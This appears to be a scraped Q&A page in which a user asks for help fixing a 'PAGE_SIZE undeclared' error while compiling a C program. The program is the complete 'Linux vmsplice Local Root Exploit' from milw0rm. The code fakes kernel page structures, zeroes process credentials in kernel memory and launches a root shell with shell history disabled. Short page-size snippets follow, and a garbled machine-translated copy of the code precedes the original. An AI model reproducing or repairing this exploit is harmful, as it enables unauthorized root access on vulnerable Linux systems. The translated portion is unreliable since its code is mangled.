页面大小未声明的C
我在编译/修复脚本时遇到一些问题,因为我不太精通C语言 我将非常感谢您能帮助我解决这些问题 我得到以下错误: 此错误是因为页面大小是在asm/PAGE.h中设置的(据我所知) 代码如下所示页面大小未声明的C,c,linux,gcc,C,Linux,Gcc,我在编译/修复脚本时遇到一些问题,因为我不太精通C语言 我将非常感谢您能帮助我解决这些问题 我得到以下错误: 此错误是因为页面大小是在asm/PAGE.h中设置的(据我所知) 代码如下所示 定义GNU源 #包括 #包括 #包括 #包括 #包括 #包括 #包括 #包括 #包括 #包括 //#包括 //^^这最初导致我出现问题,因为这是编译的 //内核内部 #定义内核__ #include//将其移到此处固定位置错误,但现在我得到了新问题 #包括 #定义管道缓冲区16 #定义PG_化合物14 #定义
定义GNU源
#包括
#包括
#包括
#包括
#包括
#包括
#包括
#包括
#包括
#包括
//#包括
//^^这最初导致我出现问题,因为这是编译的
//内核内部
#定义内核__
#include//将其移到此处固定位置错误,但现在我得到了新问题
#包括
#定义管道缓冲区16
#定义PG_化合物14
#定义uint unsigned int
#定义static_inline static inline__属性_((始终_inline))
#定义堆栈(x)(x+sizeof(x)-40)
结构页{
无符号长旗;
整数计数;
int映射计数;
未签名的长私钥;
void*映射;
无符号长索引;
结构{long next,prev;}lru;
};
无效退出_代码();
char exit_堆栈[1024*1024];
无效骰子(字符*消息,整数错误)
{
printf(err?[-]%s:%s\n):“[-]%s\n”,msg,strerror(err));
fflush(stdout);
fflush(stderr);
出口(1);
}
#如果已定义(\uuuui386\uuuuuuuu)
#ifndef\uuu NR\uVMPLICE
#定义第316页
#恩迪夫
#定义用户\u CS 0x73
#定义用户_SS 0x7b
#定义用户\u FL 0x246
静态_内联
void exit_kernel()
{
__asm\uuuuuu挥发性(
movl%0,0x10(%%esp)
movl%1,0x0c(%%esp)
movl%2,0x08(%%esp)
movl%3,0x04(%%esp)
movl%4,0x00(%%esp)
“iret”
:“i”(用户层),“r”(堆栈层(出口层)),“i”(用户层),
“i”(用户代码)、“r”(退出代码)
);
}
静态_内联
void*get_current()
{
无符号长币;
__asm\uuuuuu挥发性(
“movl%%esp,%%eax;”
andl%1,%%eax
movl(%%eax),%0
:“=r”(当前)
:“我”(~8191)
);
返回(无效*)货币;
}
#已定义的elif(_x86_64__)
#ifndef\uuu NR\uVMPLICE
#定义虚拟应用278
#恩迪夫
#定义用户\u CS 0x23
#定义用户_SS 0x2b
#定义用户\u FL 0x246
静态_内联
void exit_kernel()
{
__asm\uuuuuu挥发性(
“交换
movq%0,0x20(%%rsp)
movq%1,0x18(%%rsp)
movq%2,0x10(%%rsp)
movq%3,0x08(%%rsp)
movq%4,0x00(%%rsp)
“iretq”
:“i”(用户层),“r”(堆栈层(出口层)),“i”(用户层),
“i”(用户代码)、“r”(退出代码)
);
}
静态_内联
void*get_current()
{
无符号长币;
__asm\uuuuuu挥发性(
movq%%gs:(0),%0
:“=r”(当前)
);
返回(无效*)货币;
}
#否则
#错误“不支持的拱门”
#恩迪夫
#如果已定义(_syscall4)
#定义\uuuu NR\uuu vmplice\uuuu NR\u vmplice
_系统调用4(
很长时间,
int,fd,
结构iovec*,iov,
无符号长,nr_segs,
无符号整数,标志)
#否则
#定义_vmplice(fd,io,nr,fl)系统调用(_nr_vmplice,(fd),(io),(nr),(fl))
#恩迪夫
静态uint uid,gid;
无效内核_代码()
{
int i;
uint*p=get_current();
对于(i=0;i<1024-13;i++){
如果(p[0]==uid&&p[1]==uid&&
p[2]==uid&&p[3]==uid&&
p[4]==gid&&p[5]==gid&&
p[6]==gid&&p[7]==gid){
p[0]=p[1]=p[2]=p[3]=0;
p[4]=p[5]=p[6]=p[7]=0;
p=(uint*)((char*)(p+8)+sizeof(void*);
p[0]=p[1]=p[2]=0;
打破
}
p++;
}
退出内核();
}
无效退出_代码()
{
如果(getuid()!=0)
模具(“wtf”,0);
printf(“[+]根\n”);
putenv(“HISTFILE=/dev/null”);
execl(“/bin/bash”、“bash”、“-i”、NULL);
死(“/bin/bash”,errno);
}
int main(int argc,char*argv[])
{
int-pi[2];
尺寸图尺寸;
字符*映射地址;
结构iovec iov;
结构页*页[5];
uid=getuid();
gid=getgid();
setresuid(uid,uid,uid);
setresgid(gid,gid,gid);
printf(“---------------------------------------\n”);
printf(“Linux-vmsplice本地根攻击\n”);
printf(“由qaaz提供”);
printf(“---------------------------------------\n”);
如果(!uid | |!gid)
死亡(“!@#$”,0);
/*****/
页面[0]=*(void**)和(int[2]){0,页面大小};
第[1]页=第[0]页+1页;
地图大小=页面大小;
map_addr=mmap(页面[0],贴图大小,保护读取,保护写入,
MAP|u FIXED | MAP|u PRIVATE | MAP|u ANONYMOUS,-1,0);
if(map\u addr==map\u失败)
死亡(“mmap”,errno);
memset(映射地址,0,映射大小);
printf(“[+]mmap:0x%lx..0x%lx\n”,映射地址,映射地址+映射大小);
printf(“[+]页:0x%lx\n”,页[0]);
printf(“[+]页:0x%lx\n”,第[1]页);
pages[0]->flags=1 private=(无符号长)pages[0];
页面[0]->计数=1;
pages[1]->lru.next=(长)内核_代码;
/*****/
第[2]页=*(无效**)第[0]页;
第[3]页=第[2]页+1页;
地图大小=页面大小;
map_addr=mmap(第[2]页),map_大小,PROT_READ,PROT_WRITE,
MAP|u FIXED | MAP|u PRIVATE | MAP|u ANONYMOUS,-1,0);
if(map\u addr==map\u失败)
死亡(“mmap”,errno);
memset(映射地址,0,映射大小);
printf(“[+]mmap:0x%lx..0x%lx\n”,
error: ‘PAGE_SIZE’ undeclared (first use in this function)
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
// #include <asm/page.h>
// ^^ this was originally causing me issues, due to the fact this is compiled
//within the kernel
#define __KERNEL__
#include <asm/page.h> //moving it here fixed location error, but now I get the new issue
#include <asm/unistd.h>
#define PIPE_BUFFERS 16
#define PG_compound 14
#define uint unsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x) (x + sizeof(x) - 40)
struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};
void exit_code();
char exit_stack[1024 * 1024];
void die(char *msg, int err)
{
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}
#if defined (__i386__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}
#elif defined (__x86_64__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif
#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movq %%gs:(0), %0"
: "=r" (curr)
);
return (void *) curr;
}
#else
#error "unsupported arch"
#endif
#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)
#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif
static uint uid, gid;
void kernel_code()
{
int i;
uint *p = get_current();
for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
exit_kernel();
}
void exit_code()
{
if (getuid() != 0)
die("wtf", 0);
printf("[+] root\n");
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
die("/bin/bash", errno);
}
int main(int argc, char *argv[])
{
int pi[2];
size_t map_size;
char * map_addr;
struct iovec iov;
struct page * pages[5];
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
printf("-----------------------------------\n");
printf(" Linux vmsplice Local Root Exploit\n");
printf(" By qaaz\n");
printf("-----------------------------------\n");
if (!uid || !gid)
die("!@#$", 0);
/*****/
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
pages[1] = pages[0] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[0]);
printf("[+] page: 0x%lx\n", pages[1]);
pages[0]->flags = 1 << PG_compound;
pages[0]->private = (unsigned long) pages[0];
pages[0]->count = 1;
pages[1]->lru.next = (long) kernel_code;
/*****/
pages[2] = *(void **) pages[0];
pages[3] = pages[2] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[2]);
printf("[+] page: 0x%lx\n", pages[3]);
pages[2]->flags = 1 << PG_compound;
pages[2]->private = (unsigned long) pages[2];
pages[2]->count = 1;
pages[3]->lru.next = (long) kernel_code;
/*****/
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
map_size = PAGE_SIZE;
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[4]);
/*****/
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
/*****/
map_size -= 2 * PAGE_SIZE;
if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
die("munmap", errno);
/*****/
if (pipe(pi) < 0) die("pipe", errno);
close(pi[0]);
iov.iov_base = map_addr;
iov.iov_len = ULONG_MAX;
signal(SIGPIPE, exit_code);
_vmsplice(pi[1], &iov, 1, 0);
die("vmsplice", errno);
return 0;
}
// milw0rm.com [2008-02-09]
#include <unistd.h>
int main() {
size_t psize = getpagesize();
}
#include <stdio.h>
#include <unistd.h>
int main() {
printf("%lu\n", sysconf(_SC_PAGESIZE));
}
/* PAGE_SHIFT determines the page size */
#define PAGE_SHIFT 12
#ifdef __ASSEMBLY__
#define PAGE_SIZE (1 << PAGE_SHIFT)
#else
#define PAGE_SIZE (1UL << PAGE_SHIFT)
#endif
#define PAGE_MASK (~(PAGE_SIZE-1))
#include <sys/user.h>